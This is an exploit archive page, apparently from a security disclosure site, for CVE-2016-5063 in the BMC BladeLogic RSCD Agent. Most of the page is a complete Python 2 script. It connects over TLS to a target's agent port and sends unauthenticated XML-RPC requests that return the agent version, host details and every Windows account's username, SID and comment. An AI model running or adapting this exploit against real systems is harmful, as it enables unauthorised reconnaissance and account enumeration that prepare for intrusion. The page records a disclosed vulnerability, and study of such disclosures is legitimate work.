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BMC BladeLogic RSCD Agent 8.3.00.64 Windows Users Disclosure

BMC BladeLogic RSCD Agent 8.3.00.64 Windows Users Disclosure
Posted Jan 30, 2018
Authored by Paul Taylor

BMC BladeLogic RSCD Agent version 8.3.00.64 suffers from a windows users disclosure vulnerability.

tags | exploit
systems | windows
advisories | CVE-2016-5063
MD5 | 9a5bc055f019f7c0dbca70e7a76dd801

BMC BladeLogic RSCD Agent 8.3.00.64 Windows Users Disclosure

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# Exploit Title: BMC BladeLogic RSCD agent get Windows users
# Filename: BMC_winUsers.py
# Github: https://github.com/bao7uo/bmc_bladelogic
# Date: 2018-01-27
# Exploit Author: Paul Taylor / Foregenix Ltd
# Website: http://www.foregenix.com/blog
# Version: BMC RSCD agent 8.3.00.64
# CVE: CVE-2016-5063
# Vendor Advisory: https://docs.bmc.com/docs/ServerAutomation/87/release-notes-and-notices/flashes/notification-of-windows-rscd-agent-vulnerability-in-bmc-server-automation-cve-2016-5063
# Tested on: 8.3.00.64

#!/usr/bin/python2

# Retrieving Windows system users with BMC BladeLogic RSCD agent
# Tested against v8.3.00.64 (Windows version)
# CVE-2016-5063

# Author: Paul Taylor / Foregenix Ltd
# github.com/bao7uo/bmc_bladelogic
# www.foregenix.com/blog

# Credits:
# Converted to work against Windows version
# from the Linux BMC getUsers exploit by ERNW

import socket
import ssl
import sys
import requests
import argparse
import xml.etree.ElementTree as ET
import xml.dom.minidom
import httplib
from requests.packages.urllib3 import PoolManager
from requests.packages.urllib3.connection import HTTPConnection
from requests.packages.urllib3.connectionpool import HTTPConnectionPool
from requests.adapters import HTTPAdapter


class MyHTTPConnection(HTTPConnection):
def __init__(self, unix_socket_url, timeout=60):
HTTPConnection.__init__(self, HOST, timeout=timeout)
self.unix_socket_url = unix_socket_url
self.timeout = timeout

def connect(self):
self.sock = wrappedSocket


class MyHTTPConnectionPool(HTTPConnectionPool):
def __init__(self, socket_path, timeout=60):
HTTPConnectionPool.__init__(self, HOST, timeout=timeout)
self.socket_path = socket_path
self.timeout = timeout

def _new_conn(self):
return MyHTTPConnection(self.socket_path, self.timeout)


class MyAdapter(HTTPAdapter):
def __init__(self, timeout=60):
super(MyAdapter, self).__init__()
self.timeout = timeout

def get_connection(self, socket_path, proxies=None):
return MyHTTPConnectionPool(socket_path, self.timeout)

def request_url(self, request, proxies):
return request.path_url


def optParser():
parser = argparse.ArgumentParser(description="Retrieving system users with BMC BladeLogic Server Automation RSCD agent")
parser.add_argument("host", help="IP address of a target system")
parser.add_argument("-p", "--port", type=int, default=4750, help="TCP port (default: 4750)")
opts = parser.parse_args()
return opts


init = """<?xml version="1.0" encoding="UTF-8"?><methodCall><methodName>RemoteServer.intro</methodName><params><param><value>2015-11-19-16-10-30-3920958</value></param><param><value>7</value></param><param><value>0;0;21;AArverManagement_XXX_XXX:XXXXXXXX;2;CM;-;-;0;-;1;1;6;SYSTEM;CP1252;</value></param><param><value>8.6.01.66</value></param></params></methodCall>"""
getVersion = """<?xml version="1.0" encoding="UTF-8"?><methodCall><methodName>RemoteServer.getVersion</methodName><params/></methodCall>"""
getWindowsUsers = """<?xml version="1.0" encoding="UTF-8"?><methodCall><methodName>RemoteUser.getUserContents</methodName><params><param><value><struct><member><name>typeName</name><value>OS</value></member><member><name>host</name><value>0.0.0.0</value></member><member><name>container</name><value><array><data><value><struct><member><name>string</name><value></value></member><member><name>value</name><value><struct><member><name>longValue</name><value><ex:i8>1</ex:i8></value></member><member><name>kind</name><value><i4>1</i4></value></member></struct></value></member></struct></value></data></array></value></member><member><name>path</name><value>/</value></member></struct></value></param><param><value><i4>1</i4></value></param><param><value><array><data/></array></value></param><param><value><array><data/></array></value></param><param><value><array><data/></array></value></param></params></methodCall>"""
getHostOverview = """<?xml version="1.0" encoding="UTF-8"?><methodCall><methodName>RemoteServer.getHostOverview</methodName></methodCall>"""

options = optParser()
PORT = options.port
HOST = options.host

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((HOST, PORT))

sock.sendall("TLSRPC")

wrappedSocket = ssl.wrap_socket(sock)

adapter = MyAdapter()
s = requests.session()
s.mount("http://", adapter)

print "Sending intro..."
r = s.post('http://'+HOST+':'+str(PORT)+'/xmlrpc', data=init)

print "Getting version..."
r = s.post('http://'+HOST+':'+str(PORT)+'/xmlrpc', data=getVersion)

rootVersion = ET.fromstring(r.content)
print "========================="
print "Major version : " + rootVersion[0][0][0][0][0][1].text
print "Minor version : " + rootVersion[0][0][0][0][1][1].text
print "Patch version : " + rootVersion[0][0][0][0][2][1].text
print "Platform version: " + rootVersion[0][0][0][0][3][1].text
print "=========================\n"

print "Getting host overview..."
r = s.post('http://'+HOST+':'+str(PORT)+'/xmlrpc', data=getHostOverview)

rootOverview = ET.fromstring(r.content)
print rootOverview[0][0][0][0][12][1].text

linux = False

if rootOverview[0][0][0][0][0][1].text is not None:
linux = True

print "=================================================="
print "Agent instal dir: " + rootOverview[0][0][0][0][1][1].text
print "Licensed? : " + ("false" if (int(rootOverview[0][0][0][0][2][1][0].text) == 0) else "true")
print "Repeater? : " + ("false" if (int(rootOverview[0][0][0][0][12][1][0].text) == 0) else "true")
print "Hostname : " + rootOverview[0][0][0][0][6][1].text
print "Netmask : " + rootOverview[0][0][0][0][13][1].text
print "CPU architecture: " + rootOverview[0][0][0][0][10][1].text
print "Platform (OS) : " + rootOverview[0][0][0][0][14][1].text
print "OS version : " + rootOverview[0][0][0][0][15][1].text
print "OS architecture : " + rootOverview[0][0][0][0][3][1].text
print "OS release : " + rootOverview[0][0][0][0][11][1].text
print "Patch level : " + rootOverview[0][0][0][0][7][1].text
print "==================================================\n"

print "Sending request for users...\n"

r = s.post('http://'+HOST+':'+str(PORT)+'/xmlrpc', data=getWindowsUsers)

with open("./users.xml", "w") as text_file:
text_file.write(r.content)

root = ET.parse('./users.xml').getroot()
count = 0
ind = 1
while ind:
try:
ind = root[0][0][0][0][0][count][0][14][1].text
except IndexError:
pass
break
count += 1

print "Number of users found: " + str(count) + "\n"
for i in range(0, count):
print "Username: "+ root[0][0][0][0][0][i][0][14][1].text
print "SID: " + root[0][0][0][0][0][i][0][12][1].text
print "Comment: " + root[0][0][0][0][0][i][0][2][1].text

print "........................\n"


wrappedSocket.close()



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